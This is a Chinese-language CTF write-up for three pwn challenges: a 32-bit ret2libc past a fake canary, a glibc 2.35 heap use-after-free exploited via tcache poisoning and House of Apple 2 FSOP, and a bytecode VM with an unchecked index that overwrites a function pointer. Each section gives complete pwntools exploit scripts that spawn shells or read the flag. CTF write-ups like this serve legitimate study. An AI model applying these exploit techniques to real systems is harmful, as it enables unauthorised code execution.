这次比赛的 pwn 难度不大,一共 3 题 pwn。靠其他方向的大佬带飞到二等奖。
blinkrop
32 位 ret2libc,有个假的 canary。
题面
尝试一下黑盒测试吧。Tips:环境版本为Ubuntu22.04。
仅给二进制文件。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
9
10
|
[*] '/data/project/ctf-repo/pwn/cyctf2026/blindrop/blindrop'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
|
32 位无保护。
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init_io();
puts(s: "BlindROP Service");
while ( 1 )
vuln(expected: 0xDCC82F00);
}
void __cdecl vuln(uint32_t expected)
{
_BYTE f[128]; // [esp+Ch] [ebp-8Ch] BYREF
uint32_t v2; // [esp+8Ch] [ebp-Ch]
v2 = expected;
write(fd: 1, buf: "payload> ", n: 9u);
read(fd: 0, buf: f, nbytes: 0x400u);
printf(format: "payload: %s\n", f);
if ( expected != v2 )
{
puts(s: "canary check failed.");
_exit(status: 1);
}
puts(s: "canary check passed.");
}
|
好像有 canary,实际是虚假的 canary。
检查 expected 在栈上返回地址的后一块,32 位构建函数调用栈的时候这块地方填的是被调函数的返回地址,和前面的 v2 一致就绕过伪 canary 了。

有足够的 read 进行栈溢出。
利用
最开始的 vuln 参数为 expected: 0xDCC82F00 但因为检查在栈溢出之后,可以被任意覆盖。
所以先用 puts_got, puts_plt 拿到 libc 地址,用 puts, read, write 泄漏地址的后 12 位与 libc.rip 比较拿到 libc 为 libc6-i386_2.35-0ubuntu3.14_amd64 之后就是 ret2libc 跑 system("/bin/sh")。
拿到 libc 地址
1
2
3
4
5
|
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(puts_plt) + p32(main) + p32(puts_got)
io.send(payload)
io.recvuntil(b"canary check passed.")
puts_addr = u32(io.recvuntil(b"\xf7")[-4:])
|
计算 libc 基址:
1
2
3
4
5
6
7
|
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base = ", hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym["system"]
print("binsh =", hex(binsh))
print("system = ", hex(system))
|
上面的循环调用 vuln 没蛋用,返回地址都被弄乱了。
上面最后回到 main 就再栈溢出跑个 system 就拿到 shell 了。
1
2
3
4
5
|
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(system) + p32(main) + p32(binsh)
io.send(payload)
io.interactive()
|

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
from pwn import *
#io = process("./blindrop")
io = remote("challenge.xiaoyuyc.com", 30650)
elf = ELF("./blindrop")
libc = ELF("./libc6-i386_2.35-0ubuntu3.14_amd64.so")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main = elf.sym['main']
canary = 0xDCC82F00
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(puts_plt) + p32(main) + p32(puts_got)
io.send(payload)
io.recvuntil(b"canary check passed.")
puts_addr = u32(io.recvuntil(b"\xf7")[-4:])
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base = ", hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym["system"]
print("binsh =", hex(binsh))
print("system = ", hex(system))
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(system) + p32(main) + p32(binsh)
io.send(payload)
io.interactive()
|
miao
glibc 2.35 HHouse of Apple2ouse of Apple2。
题面
一只可爱的小猫
给了 ld, libc 和二进制文件。
1
2
3
4
5
6
7
8
|
Archive: pwn2.zip
Length Date Time Name
--------- ---------- ----- ----
240936 2026-03-14 21:23 ld-linux-x86-64.so.2
2220400 2026-03-14 21:23 libc.so.6
20928 2026-04-13 19:21 miao
--------- -------
2482264 3 files
|
分析
patchelf, 然后看 libc 为 2.35。
1
2
|
❯ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.
|
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
puts(s: "Here is a cute cat.");
puts(s: " /\\_/\\ \n");
puts(s: " ( o.o ) \n");
puts(s: "\n");
while ( 1 )
{
menu();
switch ( read_num() )
{
case 1uLL:
add_note();
break;
case 2uLL:
delete_note();
break;
case 3uLL:
show_note();
break;
case 4uLL:
edit_note();
break;
case 5uLL:
puts(s: "Bye!");
return 0;
default:
puts(s: "Invalid!");
break;
}
}
}
|
没有 prctl,可以用 execve。
add_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
void add_note()
{
int idx; // [rsp+8h] [rbp-18h]
int i; // [rsp+Ch] [rbp-14h]
size_t size; // [rsp+10h] [rbp-10h]
idx = -1;
for ( i = 0; i <= 15; ++i )
{
if ( notes[i].content == nullptr )
{
idx = i;
break;
}
}
if ( idx == -1 )
{
puts(s: "No free slot!");
}
else
{
printf(format: "Size: ");
size = read_num();
if ( size != 0 && size <= 0x500 )
{
notes[idx].content = (char *)malloc(size);
if ( notes[idx].content != nullptr )
{
notes[idx].size = size;
memset(s: notes[idx].content, c: 0, n: size);
printf(format: "Content: ");
read(fd: 0, buf: notes[idx].content, nbytes: size);
printf(format: "Note %d created.\n", idx);
}
else
{
puts(s: "Allocation failed!");
}
}
else
{
puts(s: "Invalid size!");
}
}
}
|
分配堆,比较恶心的是有一个 memset,没办法做些泄漏,但后面给了 read 可以做伪造堆。
delete_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void delete_note()
{
size_t idx; // [rsp+0h] [rbp-10h]
printf(format: "Index: ");
idx = read_num();
if ( idx <= 0xF && notes[idx].content != nullptr )
{
free(ptr: notes[idx].content);
puts(s: "Note deleted.");
}
else
{
puts(s: "Invalid index!");
}
}
|
经典 UAF。
show_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void show_note()
{
size_t idx; // [rsp+0h] [rbp-10h]
printf(format: "Index: ");
idx = read_num();
if ( idx <= 0xF && notes[idx].content != nullptr )
{
printf(format: "Content: ");
write(fd: 1, buf: notes[idx].content, n: notes[idx].size);
putchar(c: 10);
}
else
{
puts(s: "Invalid index!");
}
}
|
edit_note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void edit_note()
{
size_t idx; // [rsp+0h] [rbp-10h]
printf(format: "Index: ");
idx = read_num();
if ( idx <= 0xF && notes[idx].content != nullptr )
{
printf(format: "Content: ");
if ( (int)read(fd: 0, buf: notes[idx].content, nbytes: notes[idx].size) > 0 )
notes[idx].content[notes[idx].size] = 0;
}
else
{
puts(s: "Invalid index!");
}
}
|
可以 UAF,但是重新分配有 memset 把数据清空了。导致 _environ 没办法泄漏栈地址,无法做栈溢出。
利用
前面试了好些时间来做 tcache poison 泄漏 _environ 打栈地址,无果。之后用 FSOP,也就是 House of apple 2。
封装程序行为的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
def select(id: int):
io.recvuntil(b">> ")
io.sendline(str(id).encode())
def add(size: int, content: bytes):
select(1)
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.send(content)
def delete(idx: int):
select(2)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
def show(idx: int):
select(3)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
def edit(idx: int, content: bytes):
select(4)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Content: ")
io.send(content)
|
泄漏基址
先把 libc 和 heap 给泄漏了。libc 2.35 有 safe_unlink,必须拿到堆的基址 « 12 的数据。
泄漏 libc 基址:
1
2
3
4
5
6
7
8
9
10
11
|
add(0x450, b"0000") # 0
add(0x20, b"1111") # 1
delete(0)
show(0)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21ACE0
print(b"libc base =", hex(libc_base))
environ = libc.sym["_environ"] + libc_base
stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
io_list_all = libc_base + libc.sym["_IO_list_all"]
print("environ address =", hex(environ))
|
泄漏堆:
1
2
3
4
5
|
add(0xFF, b"2222") # 2
delete(2)
show(2)
heap_xor = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap =", hex(heap_xor))
|
House of Apple 2
本来想打 IO_2_1_stderr 再次泄漏栈地址的,同样无果,就构造三个 IO 结构体:_IO_FILE, _IO_wide_data, _wide_vtable。
用 exit 调用时候清理 IO 数据流劫持控制流拿到 system。
具体来讲,glibc 宽字符流处理机制中有一个校验盲区:虽然 _IO_FILE 的主 vtable 会被严格检查,但关联的宽字符数据(_wide_data) 内部的 _wide_vtable 却不会被校验,所以可以先让 _IO_FILE 的 vtable 指向一个合法的宽字符虚表(_IO_wfile_jumps)从而通过检查,然后利用这个合法的虚表去调用 _wide_data 中的函数指针,由于此处无校验,攻击者就能劫持程序执行流。
这里用到的是 House of Apple 2 的变体。将构造的 _IO_FILE 的 vtable 设置为 _IO_wfile_jumps 随后通过精心构造 _wide_data 及其内部的 _wide_vtable 使得在触发 _IO_wfile_overflow等操作时,最终调用 _wide_vtable 中的函数指针,由于 _wide_vtable 无校验,这个指针可以被指向 system。一个技巧就是将 _flag 字段设置为 " sh" ,并将 _wide_vtable->_doallocate 指向 systrem 从而在调用时直接执行 system(" sh")
伪造 _IO_FILE
先构造伪造 _IO_FILE:
1
2
3
4
5
6
7
8
9
10
|
fake_file = flat(
{
0x00: b" sh\x00", # _flag,作为 system 的参数
0x28: p64(1), # _IO_write_ptr > _IO_rite_base 触发 overflow
0x88: p64(fake_file_addr), # _lock 指向自身,避免锁检查崩溃
0xA0: p64(fake_wide_addr), # _wide_data 指针
0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]), # vtable 指向合法宽字符跳转表
},
filler=b"\x00",
)
|
将 _flag 字段作为后面 system 的参数,且满足 _IO_vtable_offset(fp) == 0
0x28 字段是 _IO_write_ptr=1 。0x88 :_lock = fake_file_addr 写要分配给 file 的堆地址,这里给它加锁。
0xa0 _wide_data = fake_wide_addr 指向伪造 _IO_wide_data 结构体的堆。
0xd8:写 _IO_wfile_jumps 地址通过 glibc 的 _IO_vtable_check 检验。
伪造 _IO_wide_data
伪造 _IO_wide_data,让 libc 调用 system。
1
2
3
4
5
6
7
|
fake_wide = flat(
{0x18: p64(0),
0x30: p64(0),
0xE0: p64(fake_vtable_addr) # _wide_vtable 指针
},
filler=b"\x00"
)
|
0x18 是 _IO_write_base=0为了让 _IO_write_ptr 能大于它,绕过检查。
0x30 是_IO_buf_base = 0 触发 _IO_WDOALLOCATE 开关,进入 _IO_WDOALLOCATE,读取虚函数表。
0xe0 指向伪造的 _wide_vtable。
这里 _wide_vtable 不会被 glibc 校验,是 House of Apple 2 的核心绕过点。
伪造 _wide_vtable
1
2
3
4
|
fake_vtable = flat({
0x68: p64(libc_base + libc.symbols["system"]) # __doallcate 槽位
},
filler=b"\x00")
|
当 _IO_wfile_overflow 被调用时,会间接调用 _wide_vtable->__doallcate,从而执行 system。
将 _doallocate 劫持为 system 地址,且 _IO_WDOALLOCATE 把 fp 放入 rdi ,最开始就是 sh 这样就执行了 sh。
把伪造结构体放进堆
最后用 gdb 动调把 3 个堆首 12 位地址拿到,依据这些结构体的大小设定堆大小。
1
2
3
|
add(0x100, fake_file) # 3
add(0xf0, fake_wide) # 4
add(0x80, fake_vtable) # 5
|
这里三个伪造地址变量都要通过动调先前处理好:
1
2
3
|
fake_file_addr = (heap_xor << 12) + 0x2A0
fake_wide_addr = (heap_xor << 12) + 0x3b0
fake_vtable_addr = (heap_xor << 12) + 0x4b0
|
劫持 _IO_list_all
做一个 tcache poison 拿到 _IO_list_all 任意写,改写成 fake_file。
1
2
3
4
5
6
7
8
9
10
11
|
add(0x30, b"666") # 6
add(0x30, b"7777") # 7
delete(6)
delete(7)
store_io_list_all = heap_xor ^ io_list_all
edit(7, p64(store_io_list_all))
add(0x30, b"1")
add(0x30, p64(fake_file_addr))
|
最后调用 exit,拿到 flag。
1
2
|
io.sendline(b"5")
io.interactive()
|
触发 exit() 程序退出时,_IO_flush_all_lockp 会遍历 _IO_list_all 链表,调用伪造 _IO_FILE 的 vtable。最终走到 _IO_wfile_overflow-> _wide_vtable->__doallcate -> system(" sh")。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
from pwn import *
io = process("./miao")
#io = remote("challenge.xiaoyuyc.com", 47780)
libc = ELF("./libc.so.6")
elf = ELF("./miao")
context.log_level = "debug"
def select(id: int):
io.recvuntil(b">> ")
io.sendline(str(id).encode())
def add(size: int, content: bytes):
select(1)
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.send(content)
def delete(idx: int):
select(2)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
def show(idx: int):
select(3)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
def edit(idx: int, content: bytes):
select(4)
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Content: ")
io.send(content)
add(0x450, b"0000") # 0
add(0x20, b"1111") # 1
delete(0)
show(0)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21ACE0
print(b"libc base =", hex(libc_base))
environ = libc.sym["_environ"] + libc_base
stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
io_list_all = libc_base + libc.sym["_IO_list_all"]
print("environ address =", hex(environ))
add(0xFF, b"2222") # 2
delete(2)
show(2)
heap_xor = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap =", hex(heap_xor))
fake_file_addr = (heap_xor << 12) + 0x2A0
print("fake_file address =", hex(fake_file_addr))
fake_wide_addr = (heap_xor << 12) + 0x3b0
print("fake_wide address =", hex(fake_wide_addr))
fake_vtable_addr = (heap_xor << 12) + 0x4b0
print("fake_vtable address =", hex(fake_vtable_addr))
fake_file = flat(
{
0x00: b" sh\x00",
0x28: p64(1),
0x88: p64(fake_file_addr),
0xA0: p64(fake_wide_addr),
0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]),
},
filler=b"\x00",
)
fake_wide = flat(
{0x18: p64(0), 0x30: p64(0), 0xE0: p64(fake_vtable_addr)}, filler=b"\x00"
)
fake_vtable = flat({0x68: p64(libc_base + libc.symbols["system"])}, filler=b"\x00")
add(0x100, fake_file) # 3
add(0xf0, fake_wide) # 4
add(0x80, fake_vtable) # 5
add(0x30, b"666") # 6
add(0x30, b"7777") # 7
delete(6)
delete(7)
store_io_list_all = heap_xor ^ io_list_all
edit(7, p64(store_io_list_all))
add(0x30, b"1")
add(0x30, p64(fake_file_addr))
io.sendline(b"5")
io.interactive()
|
vmpwn
一道很新颖的 VM 题。题目实现一个小的虚拟机,需要利用虚拟机的字节码来劫持拿到 flag。
分析
checksec 查看,没保护:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
❯ pwn checksec ./vmpwn
[*] '/data/project/ctf-repo/pwn/cyctf2026/vmpwn/pwn3/vmpwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x3fe000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
|
ida pro 反汇编:
main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char line[32]; // [rsp+0h] [rbp-40h] BYREF
ssize_t r; // [rsp+20h] [rbp-20h]
uint8_t *code; // [rsp+28h] [rbp-18h]
__int64 n; // [rsp+30h] [rbp-10h]
size_t off; // [rsp+38h] [rbp-8h]
init_io();
puts(s: "SimpleVM");
write(fd: 1, buf: "len> ", n: 5u);
if ( fgets(s: line, n: 32, stream: stdin) == nullptr )
return 0;
n = strtol(nptr: line, endptr: nullptr, base: 10);
if ( n > 0 && n <= 2048 )
{
code = (uint8_t *)malloc(size: n);
if ( code != nullptr )
{
write(fd: 1, buf: "code> ", n: 6u);
for ( off = 0; off < n; off += r )
{
r = read(fd: 0, buf: &code[off], nbytes: n - off);
if ( r <= 0 )
_exit(status: 0);
}
run_vm(code, len: n);
return 0;
}
else
{
return 0;
}
}
else
{
puts(s: "bad len");
return 0;
}
}
|
其实核心是 run_vm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
void __fastcall run_vm(const uint8_t *code, size_t len)
{
size_t v2; // rax
size_t v3; // rax
size_t v4; // rax
size_t v5; // rax
VM vm; // [rsp+10h] [rbp-100h] BYREF
uint64_t v; // [rsp+E8h] [rbp-28h]
uint64_t v_0; // [rsp+F0h] [rbp-20h]
int8_t idx; // [rsp+FCh] [rbp-14h]
int8_t idx_0; // [rsp+FDh] [rbp-13h]
uint8_t which; // [rsp+FEh] [rbp-12h]
uint8_t op; // [rsp+FFh] [rbp-11h]
size_t ip_0; // [rsp+100h] [rbp-10h]
size_t i; // [rsp+108h] [rbp-8h]
for ( i = 0; i <= 7; ++i )
vm.mem[i] = 0;
vm.funcs[0] = safe_fn;
vm.funcs[1] = (void (*)(void))exit0;
vm.sp = 0;
ip_0 = 0;
while ( ip_0 < len )
{
v2 = ip_0++;
op = code[v2];
switch ( op )
{
case 1u:
if ( len < ip_0 + 8 )
_exit(status: 0);
v = read_u64_le(p: &code[ip_0]);
ip_0 += 8LL;
vm_push(&vm, v);
break;
case 2u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v3 = ip_0++;
idx = code[v3];
v_0 = vm_pop(&vm);
vm.mem[idx] = v_0;
break;
case 3u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v4 = ip_0++;
idx_0 = code[v4];
vm_push(&vm, v: vm.mem[idx_0]);
break;
case 4u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v5 = ip_0++;
which = code[v5];
if ( which > 1u )
_exit(status: 0);
vm.funcs[which]();
break;
case 5u:
return;
default:
puts(s: "bad opcode");
_exit(status: 0);
}
}
}
|
比较复杂,还是需要拆解:
1
2
3
4
5
6
|
while ( ip_0 < len )
{
v2 = ip_0++;
op = code[v2]; // 取值
switch ( op ) // 根据 opcode 执行
{
|
这就是很经典的取值、译码、执行的链路。
虚拟机初始化,内存地址清零,预设地址函数指针。
1
2
3
4
5
6
|
for ( i = 0; i <= 7; ++i )
vm.mem[i] = 0;
vm.funcs[0] = safe_fn;
vm.funcs[1] = (void (*)(void))exit0;
vm.sp = 0;
ip_0 = 0;
|
后面 5 个 case 就分别对应 5 种操作码:
- push imm64
1
2
3
4
5
6
7
|
case 1u:
if ( len < ip_0 + 8 )
_exit(status: 0);
v = read_u64_le(p: &code[ip_0]); // 从 code 里读 8 字节
ip_0 += 8LL; // ip 前进 8
vm_push(&vm, v); // 压入 VM 栈
break;
|
vm_push 没什么特别的:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
void __fastcall vm_push(VM *vm, uint64_t v)
{
int sp; // eax
if ( vm->sp > 15 )
{
puts(s: "stack overflow");
_exit(status: 0);
}
sp = vm->sp;
vm->sp = sp + 1;
vm->stack[sp] = v;
}
|
这里的格式是:[0x01][8字节小端立即数],实际就是把一个 64 位立即数压入 VM 的栈。
2. pop -> mem[idx]
1
2
3
4
5
6
7
8
|
case 2u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v3 = ip_0++;
idx = code[v3]; // 读 1 字节索引
v_0 = vm_pop(&vm); // 从 VM 栈弹出一个值
vm.mem[idx] = v_0; // 写进 vm.mem[idx]
break;
|
格式:[0x02][1字节idx],作用:弹出栈顶,写入vm.mem[idx]
idx 是 int8_t 范围是 -128~127 没有范围检查。
- push mem[idx]
1
2
3
4
5
6
7
|
case 3u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v4 = ip_0++;
idx_0 = code[v4];
vm_push(&vm, v: vm.mem[idx_0]);
break;
|
格式:[0x03][1字节idx]
作用:把 vm.mem[idx] 压入 VM 栈,没有范围检查。
- call funcs[which]
1
2
3
4
5
6
7
8
9
|
case 4u:
if ( len < ip_0 + 1 )
_exit(status: 0);
v5 = ip_0++;
which = code[v5];
if ( which > 1u )
_exit(status: 0);
vm.funcs[which]();
break;
|
格式:[0x04][1字节 which]
调用 vm.funcs[which]
如果 funcs[0] 被改成 win 或 system,这里就会执行它。
- return
格式: [0x05]
作用:退出 VM 主循环。
除此之外,还能拿到 VM 的结构体:
1
2
3
4
5
6
7
|
struct VM { // sizeof = 0xD8
uint64_t mem[8]; // 0x00 ~ 0x3F → idx 0..7
void (*funcs[2])(void); // 0x40 ~ 0x4F → idx 8..9
uint64_t stack[16]; // 0x50 ~ 0xCF → idx 10..25
int sp; // 0xD0 → idx 26
// padding
};
|
因为前面代码没有检查 idx,所以访问内存可以越界访问到结构体后面的成员。
另外有 vuln 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
void win()
{
_BYTE buf[128]; // [rsp+0h] [rbp-90h] BYREF
size_t n; // [rsp+80h] [rbp-10h]
int fd; // [rsp+8Ch] [rbp-4h]
fd = open(file: "/flag", oflag: 0);
if ( fd < 0 )
{
puts(s: "no flag");
_exit(status: 0);
}
n = read(fd, buf, nbytes: 0x7Fu);
if ( (__int64)n <= 0 )
{
puts(s: "empty flag");
_exit(status: 0);
}
buf[n] = 0;
write(fd: 1, buf, n);
|
利用
这里只需要改掉 funcs[0] 然后 call 0 即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
io = process("./vmpwn")
win_addr = 0x4012C7
payload = b"\x01" + p64(win_addr) # push win
payload += b"\x02" + b"\x08" # pop->mem[8]
payload += b"\x04" + b"\x00" # call funcs[0]
io.recvuntil(b"len> ")
io.sendline(str(len(payload)).encode())
io.recvuntil(b"code> ")
io.sendline(payload)
io.interactive()
|
mem[8] 对应 funcs[0]。